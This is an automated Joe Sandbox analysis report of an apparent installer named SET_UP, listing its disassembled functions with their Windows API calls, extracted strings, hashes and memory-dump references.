Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Parent$Message$MenuPostWindow$DrawLongSendSystemText
String ID:
API String ID: 3814418949-0
Opcode ID: 972669b61ca1d01bef31dbc06ce2eade2ae32bed8c789103eccfc3beedefceff
Instruction ID: e933460583edc10a842fa57d36f5b193e852e10e406af7526329debc8e2fb64b
Opcode Fuzzy Hash: 972669b61ca1d01bef31dbc06ce2eade2ae32bed8c789103eccfc3beedefceff
Instruction Fuzzy Hash: 7041A271740306AFEA10DBA4DC86FE9F7A8FF06B14F018551F249AB1A1DB72AC51CB61

Function 00102CEF Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00102A36: CreateFileW.KERNEL32(00000000,00000000,?,00102D98,?,?,00000000,?,00102D98,00000000,0000000C), ref: 00102A53

GetLastError.KERNEL32 ref: 00102E03
__dosmaperr.LIBCMT ref: 00102E0A
GetFileType.KERNEL32(00000000), ref: 00102E16
GetLastError.KERNEL32 ref: 00102E20
__dosmaperr.LIBCMT ref: 00102E29
CloseHandle.KERNEL32(00000000), ref: 00102E49
CloseHandle.KERNEL32(00000000), ref: 00102F96
GetLastError.KERNEL32 ref: 00102FC8
__dosmaperr.LIBCMT ref: 00102FCF

Strings

H, xrefs: 00102F54

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 3b0eee2980746cef4aae7f15324b46153672ae5388df77d659f06e405111e8f5
Instruction ID: bebf89bf551aa775da5be4426a7cf69e3475db3c01e36ae5c44694b962b730aa
Opcode Fuzzy Hash: 3b0eee2980746cef4aae7f15324b46153672ae5388df77d659f06e405111e8f5
Instruction Fuzzy Hash: 05A15732A041488FCF199F68DC55BAE3BB1AF0A320F244159F851AF2E2CBB48D42CB51

Function 000BF8F0 Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 263COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNEL32(000F001F,00000000,00000000,0CE81EE3,?), ref: 000BF923
GetLastError.KERNEL32 ref: 000BF934

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Part of subcall function 000972D0: InitializeCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009730D
Part of subcall function 000972D0: EnterCriticalSection.KERNEL32(?,0CE81EE3,00000000), ref: 0009731A
Part of subcall function 000972D0: GetCurrentProcessId.KERNEL32( [PID=,00000006,0012CCDC,00000002), ref: 000973B8
Part of subcall function 000972D0: GetCurrentThreadId.KERNEL32 ref: 000973D7

OpenEventW.KERNEL32(001F0003,00000000,00000000), ref: 000BFA1C
GetLastError.KERNEL32 ref: 000BFA29

Strings

LastError: , xrefs: 000BF993, 000BFA88, 000BFB9C
Unable to open WaitCmd event., xrefs: 000BFB90
Unable to open Cmd event., xrefs: 000BFA7C
Unable to create file mapping., xrefs: 000BF987

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: CriticalCurrentErrorLastOpenProcessSection$EnterEventFileHeapInitializeMappingThread
String ID: LastError: $Unable to create file mapping.$Unable to open Cmd event.$Unable to open WaitCmd event.
API String ID: 1877473303-574013566
Opcode ID: bd67c9615df713263809227caf60342f23d1e41a7ce8be4f88b6f87726b90548
Instruction ID: a0ecce5734884b44758364e2377fcbdb519c93dd77ce23878f916e67e1fa5843
Opcode Fuzzy Hash: bd67c9615df713263809227caf60342f23d1e41a7ce8be4f88b6f87726b90548
Instruction Fuzzy Hash: F191C531A0024A9BDB14EBB4DD19BEEBBE4EF44310F148668F515A72D3EB74D940CBA1

Function 0007B860 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 177libraryloaderCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 0007B9C2
LoadLibraryW.KERNEL32(kernel32.dll), ref: 0007B9ED
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 0007BA1C
FreeLibrary.KERNEL32(00000000), ref: 0007BA32
CloseHandle.KERNEL32(00000000), ref: 0007BA67

Strings

GetProcessId, xrefs: 0007BA16
open, xrefs: 0007B8F4
kernel32.dll, xrefs: 0007B9E8
<, xrefs: 0007B8CF

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Library$AddressCloseExecuteFreeHandleLoadProcShell
String ID: <$GetProcessId$kernel32.dll$open
API String ID: 2960759581-2576792382
Opcode ID: cc38917d5393b2a6f82fbb03975d30ed044aed363ca35fd56bd6ce84d65d4c64
Instruction ID: 7e19de263d537175b25fb07b7e1355d4884c3b8c5bd30e50f94f258bdc8d7d4a
Opcode Fuzzy Hash: cc38917d5393b2a6f82fbb03975d30ed044aed363ca35fd56bd6ce84d65d4c64
Instruction Fuzzy Hash: 85718C70E00249DFDB10CFA8C98879EBBF4BF59314F148259E928A7291D7B89E44CF91

Function 000DAC40 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 153libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000060,0CE81EE3,8007000E,00000000,?,?,?,?,?,?,?,?,00118C65,000000FF), ref: 000DACC2
LoadLibraryExW.KERNEL32(00000000,00000000,00000002,?,?,?,?,?,?,?,?,00118C65,000000FF), ref: 000DACD1
FindResourceW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00118C65,000000FF), ref: 000DACEF
LoadResource.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,00118C65,000000FF), ref: 000DAD07

Part of subcall function 000D9320: GetLastError.KERNEL32(0CE81EE3,00000000,00105B30,000000FF,?,000DAFFA), ref: 000D9342

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00118C65,000000FF), ref: 000DADEA

Strings

REGISTRY, xrefs: 000DB1E2, 000DB23D
Module, xrefs: 000DB13D
Module_Raw, xrefs: 000DB192

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: LibraryLoad$Resource$ErrorFindFreeLast
String ID: Module$Module_Raw$REGISTRY
API String ID: 328770362-549000027
Opcode ID: b679bb8c7cf995491041cd78ec0b401e98c73deaf950419f20c111d50214bc66
Instruction ID: 37adc8fabc2589e4bc27d256ad8a3d445ba74cf8ca95dfd58de481316c49b278
Opcode Fuzzy Hash: b679bb8c7cf995491041cd78ec0b401e98c73deaf950419f20c111d50214bc66
Instruction Fuzzy Hash: 84517D71A40349EFDB24DF64C944BEE7BB5EB45310F10812AF906AB781DB349A41CBB6

Function 000BA8C0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 137windowCOMMON

Download Yara Rule

APIs

SetPropW.USER32(?,IsExterior,00000001), ref: 000BA8FC
GetWindowLongW.USER32(?,000000EC), ref: 000BA90D
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000BA91E
RemovePropW.USER32(?,IsExterior), ref: 000BA95A
GetParent.USER32(?), ref: 000BA98E
SendMessageW.USER32(00000000,00000000,?,?), ref: 000BA998
GetDlgItem.USER32(?,0000E801), ref: 000BA9E3
ShowWindow.USER32(00000000,00000000,?,?,?,?,000B911A,?,?,?,?,?,00000000,00000000,?,00000000), ref: 000BA9F1
ShowWindow.USER32(00000000,00000005,?,?,?,?,000B911A,?,?,?,?,?,00000000,00000000,?,00000000), ref: 000BAA00

Strings

IsExterior, xrefs: 000BA8F4, 000BA94B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$LongPropShow$ItemMessageParentRemoveSend
String ID: IsExterior
API String ID: 157459838-3989742051
Opcode ID: 15780f5db5f081c1ddf54cf1042fd9d28b9a9ecd426667a012b89bc7cf390fc4
Instruction ID: c83704335c14007d6f197f168d322f3f6fc27953b5e00e4fb520aa974393d2fd
Opcode Fuzzy Hash: 15780f5db5f081c1ddf54cf1042fd9d28b9a9ecd426667a012b89bc7cf390fc4
Instruction Fuzzy Hash: C751B5706047009FDB349F24D988BABBBE4FB46729F10451DF056966E0C771E985CBA3

Function 000B8AD0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 137windowCOMMON

Download Yara Rule

APIs

SetPropW.USER32(?,IsExterior,00000001), ref: 000B8B0C
GetWindowLongW.USER32(?,000000EC), ref: 000B8B1D
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000B8B2E
RemovePropW.USER32(?,IsExterior), ref: 000B8B6A
GetParent.USER32(?), ref: 000B8B9E
SendMessageW.USER32(00000000,00000000,?,?), ref: 000B8BA8
GetDlgItem.USER32(?,0000E801), ref: 000B8BF3
ShowWindow.USER32(00000000,00000000,?,?,?,?,000B7EF6,?,?,?,?), ref: 000B8C01
ShowWindow.USER32(00000000,00000005,?,?,?,?,000B7EF6,?,?,?,?), ref: 000B8C10

Strings

IsExterior, xrefs: 000B8B04, 000B8B5B

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$LongPropShow$ItemMessageParentRemoveSend
String ID: IsExterior
API String ID: 157459838-3989742051
Opcode ID: 728ae1f5e2b2b1387bd144676b422c535b8690f7c1362f2237703241f9d401c2
Instruction ID: c15865c9fd0bcaf84295d4845af093ee5e3c139680ad46503b33379873908a4d
Opcode Fuzzy Hash: 728ae1f5e2b2b1387bd144676b422c535b8690f7c1362f2237703241f9d401c2
Instruction Fuzzy Hash: 3F51C4B05047009FDB749F34D988BA7BBE8FB44728F10861DF056966B1DB72E885CBA1

Function 0008A0F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

GetDlgCtrlID.USER32(?), ref: 0008A117
GetParent.USER32 ref: 0008A128
GetDlgCtrlID.USER32(?), ref: 0008A133
SendMessageW.USER32(00000000,0000004E,00000000,?), ref: 0008A13E
GetParent.USER32(?), ref: 0008A15A
GetDlgCtrlID.USER32(?), ref: 0008A166
SendMessageW.USER32(00000000,00000111,?,?), ref: 0008A177

Strings

open, xrefs: 0008A191

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Ctrl$MessageParentSend
String ID: open
API String ID: 1194393872-2758837156
Opcode ID: 267f88f5b1e149cf0085e3fb2d0a5180c5ec53b1634713e9d9f4c2afa6f6929d
Instruction ID: 2c6893bf3462a55323ffa471cb8fa17b789fd9e39a89342a89acbfbf64af262d
Opcode Fuzzy Hash: 267f88f5b1e149cf0085e3fb2d0a5180c5ec53b1634713e9d9f4c2afa6f6929d
Instruction Fuzzy Hash: 2F213B36244240AFDB105F1CDD85BE9BFA5EF84321F488059FD55C6251C375C845DBB2

Function 000D17A0 Relevance: 16.7, APIs: 11, Instructions: 247threadsynchronizationwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 000BEFA0: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104), ref: 000BEFCA
Part of subcall function 000BEFA0: RegisterWindowMessageW.USER32(?,?), ref: 000BF01E

PostThreadMessageW.USER32(?,?,00000001,?), ref: 000D1822
GetLastError.KERNEL32 ref: 000D182C

Part of subcall function 000A3A50: GetCurrentThreadId.KERNEL32 ref: 000A3A86
Part of subcall function 000A3A50: EnterCriticalSection.KERNEL32(0014B390), ref: 000A3AA6
Part of subcall function 000A3A50: LeaveCriticalSection.KERNEL32(0014B390), ref: 000A3ACA

GetActiveWindow.USER32 ref: 000D18F1
SetLastError.KERNEL32(0000000E), ref: 000D190E
DialogBoxParamW.USER32(0000006E,00000000,000ABDB0,00000000,?), ref: 000D193D
GetExitCodeThread.KERNEL32(?,00000000), ref: 000D1968
GetLastError.KERNEL32 ref: 000D1973
WaitForSingleObject.KERNEL32(?,?), ref: 000D19F6
GetExitCodeThread.KERNEL32(?,00000000), ref: 000D1A10
TerminateThread.KERNEL32(?,00000000), ref: 000D1A24
CloseHandle.KERNEL32(?), ref: 000D1A2D

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Thread$ErrorLast$CodeCriticalExitMessageSectionWindow$ActiveCloseCurrentDialogEnterFileHandleLeaveModuleNameObjectParamPostRegisterSingleTerminateWait
String ID:
API String ID: 3015138614-0
Opcode ID: 95e9cac42439f9e8fa6c316b0429063f891426ab93c9f92e4afd294fa75135f8
Instruction ID: 8a18721c9b1abf58d0b272e6d4fb2bdc153f5a530979bfb1018632b284fc471d
Opcode Fuzzy Hash: 95e9cac42439f9e8fa6c316b0429063f891426ab93c9f92e4afd294fa75135f8
Instruction Fuzzy Hash: D3A16870901789EFDB14CFA8CD48BD9BBE5BF05314F14826AF81497291DB74E948CBA1

Function 000AAF70 Relevance: 16.7, APIs: 11, Instructions: 244timefileCOMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(?,?,00000000,?,?,00000000,0012DE80,00000001,?,0000000A,0CE81EE3,?), ref: 000AB09A
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000), ref: 000AB0B9
GetFileTime.KERNEL32(00000000,00000000,00000000,?), ref: 000AB0FE
FileTimeToSystemTime.KERNEL32(?,00000000), ref: 000AB11C
DeleteFileW.KERNEL32(?), ref: 000AB1BE
SystemTimeToFileTime.KERNEL32(?,?), ref: 000AB1E3
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000), ref: 000AB1FA
GetLastError.KERNEL32 ref: 000AB21B
SetFileTime.KERNEL32(00000000,?,?,?), ref: 000AB23C
GetLastError.KERNEL32 ref: 000AB246
CloseHandle.KERNEL32(00000000), ref: 000AB25F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: File$Time$CreateErrorLastSystem$CloseDeleteExistsHandlePath
String ID:
API String ID: 514287259-0
Opcode ID: a516bfd6328841da35f00fd9ff27be0791cc5d0aa23815cc40363cfb3c7360cb
Instruction ID: afe4ae09571a9eccccd4940ff2948d3b9ad390e43670e3fe4d898e1060b31f90
Opcode Fuzzy Hash: a516bfd6328841da35f00fd9ff27be0791cc5d0aa23815cc40363cfb3c7360cb
Instruction Fuzzy Hash: EEA19E30A40258DFDB20DFA8CD48BDEBBB4AF55714F10819AF519BB292DB745A84CF60

Function 00088A30 Relevance: 16.6, APIs: 11, Instructions: 112windowCOMMON

Download Yara Rule

APIs

SetBkMode.GDI32(?,00000001), ref: 00088A7D
IsWindowEnabled.USER32(00000000), ref: 00088A86
SetTextColor.GDI32(?,00000000), ref: 00088AAC
SelectObject.GDI32(?,?), ref: 00088ADB
GetWindowLongW.USER32(00000000,000000F0), ref: 00088AEF
DrawTextW.USER32(?,?,000000FF,?,00000000), ref: 00088B28
GetFocus.USER32 ref: 00088B2E
DrawFocusRect.USER32(?,?), ref: 00088B46
SetTextColor.GDI32(?,?), ref: 00088B52
SelectObject.GDI32(?,?), ref: 00088B5E

Part of subcall function 00088B80: GetClientRect.USER32(00000000,?), ref: 00088C2A
Part of subcall function 00088B80: SetBkMode.GDI32(?,00000001), ref: 00088C35
Part of subcall function 00088B80: SelectObject.GDI32(?,?), ref: 00088C47
Part of subcall function 00088B80: DrawTextW.USER32(?,00000000,00000000,?,00000001), ref: 00088C6F
Part of subcall function 00088B80: IsWindowEnabled.USER32(00000000), ref: 00088C78
Part of subcall function 00088B80: SetTextColor.GDI32(?,00000000), ref: 00088C9E

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Text$ColorDrawObjectSelectWindow$EnabledFocusModeRect$ClientLong
String ID:
API String ID: 1016125553-0
Opcode ID: e9b1ddc01391647a8e8a13707290ee2a64940a5d52c434c71f46f43b853951a4
Instruction ID: 10292b3215e02413c3bd6763548036faf2b8c26cc09326e4b4a5c15077136fb5
Opcode Fuzzy Hash: e9b1ddc01391647a8e8a13707290ee2a64940a5d52c434c71f46f43b853951a4
Instruction Fuzzy Hash: CC41C371504604EFDB29AF18CE54BAABBF5FF44310F508629F98292AA0CB71EC40CB90

Function 000C1270 Relevance: 16.1, APIs: 4, Strings: 5, Instructions: 308COMMON

Download Yara Rule

APIs

OpenEventW.KERNEL32(001F0003,00000000,?,0CE81EE3,00000000,00000000,00000000), ref: 000C13B3
GetLastError.KERNEL32(?,?), ref: 000C13D4
SetEvent.KERNEL32(00000000), ref: 000C1522
CloseHandle.KERNEL32(00000000), ref: 000C1500

Part of subcall function 00074130: GetProcessHeap.KERNEL32 ref: 00074185

Strings

LastError: , xrefs: 000C145B
SignalServer , xrefs: 000C12EB
Unable to open event , xrefs: 000C1426
started, xrefs: 000C131F
Server is ready, xrefs: 000C1574

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Event$CloseErrorHandleHeapLastOpenProcess
String ID: LastError: $ started$Server is ready$SignalServer $Unable to open event
API String ID: 3790043926-187756022
Opcode ID: 9aa81353f3cdb6b4e192959a8c1273e2271d70ca632ee2bc1b7200e4a25bd990
Instruction ID: 79ccbd9001b17abedef25ac6a400595f110e378dc98f98e237e5fbb2f8ae95cb
Opcode Fuzzy Hash: 9aa81353f3cdb6b4e192959a8c1273e2271d70ca632ee2bc1b7200e4a25bd990
Instruction Fuzzy Hash: 9BB1C071A00649DBDB04EBA8C949BEEB7F4BF85310F18825DE515AB293DB34DD01CBA1

Function 000EA9AA Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 000EAAA7
type_info::operator==.LIBVCRUNTIME ref: 000EAAC9
___TypeMatch.LIBVCRUNTIME ref: 000EABD8
IsInExceptionSpec.LIBVCRUNTIME ref: 000EACAA
_UnwindNestedFrames.LIBCMT ref: 000EAD2E
CallUnexpected.LIBVCRUNTIME ref: 000EAD49

Strings

csm, xrefs: 000EA9E7
csm, xrefs: 000EAA54
csm, xrefs: 000EAB00

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 694f91478b0c4f5d54da070e75e1af69b651af3b57c12e26e4c57a8ab0f7e7dd
Instruction ID: 2f0cf85d086cb72933b0e20418696417344936383d7615fc0d8d5b2ec096b29c
Opcode Fuzzy Hash: 694f91478b0c4f5d54da070e75e1af69b651af3b57c12e26e4c57a8ab0f7e7dd
Instruction Fuzzy Hash: B9B17F71A00289EFCF15DFA6C9819EEBBB5BF0A310F144169E8117B212D731EA51CF92

Function 0008C0D0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 270libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetPackagePath), ref: 0008C276
GetProcAddress.KERNEL32(?,GetPackagePath), ref: 0008C2C4
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 0008C2DF
FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000), ref: 0008C3BF

Strings

x64, xrefs: 0008C173
GetPackagePath, xrefs: 0008C270, 0008C2BE
x86, xrefs: 0008C145
neutral, xrefs: 0008C18F

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AddressProc$ErrorFreeLastLibrary
String ID: GetPackagePath$neutral$x64$x86
API String ID: 1800271603-1738950451
Opcode ID: c4bfc218c003c17671686ef3e4211acf33f86d0e027d8ecd9d1264d6eb2e769c
Instruction ID: 4bc8d42cb88dc6deb13c259abfeba983dabf4fbc34b16873488364fcdf0c4bd8
Opcode Fuzzy Hash: c4bfc218c003c17671686ef3e4211acf33f86d0e027d8ecd9d1264d6eb2e769c
Instruction Fuzzy Hash: 2EB18E30A01209DFDB14EFA8C988A9DF7F5FF18315F148168E855E7292EB35AD41CBA0

Function 000C7270 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 126fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,.part,00000005,?,0CE81EE3,-00000001,?,00000000,-00000001,-00000001), ref: 000C72E4
CloseHandle.KERNEL32(00000000), ref: 000C730B
GetFileSize.KERNEL32(00000000,00000000), ref: 000C7318
CloseHandle.KERNEL32(00000000), ref: 000C7330
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,.part,00000005,?,0CE81EE3,-00000001,?,00000000,-00000001,-00000001), ref: 000C73A6
CloseHandle.KERNEL32(00000000), ref: 000C73CD
GetFileSize.KERNEL32(00000000,00000000), ref: 000C73DA
CloseHandle.KERNEL32(00000000), ref: 000C73F2

Strings

.part, xrefs: 000C72B5

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
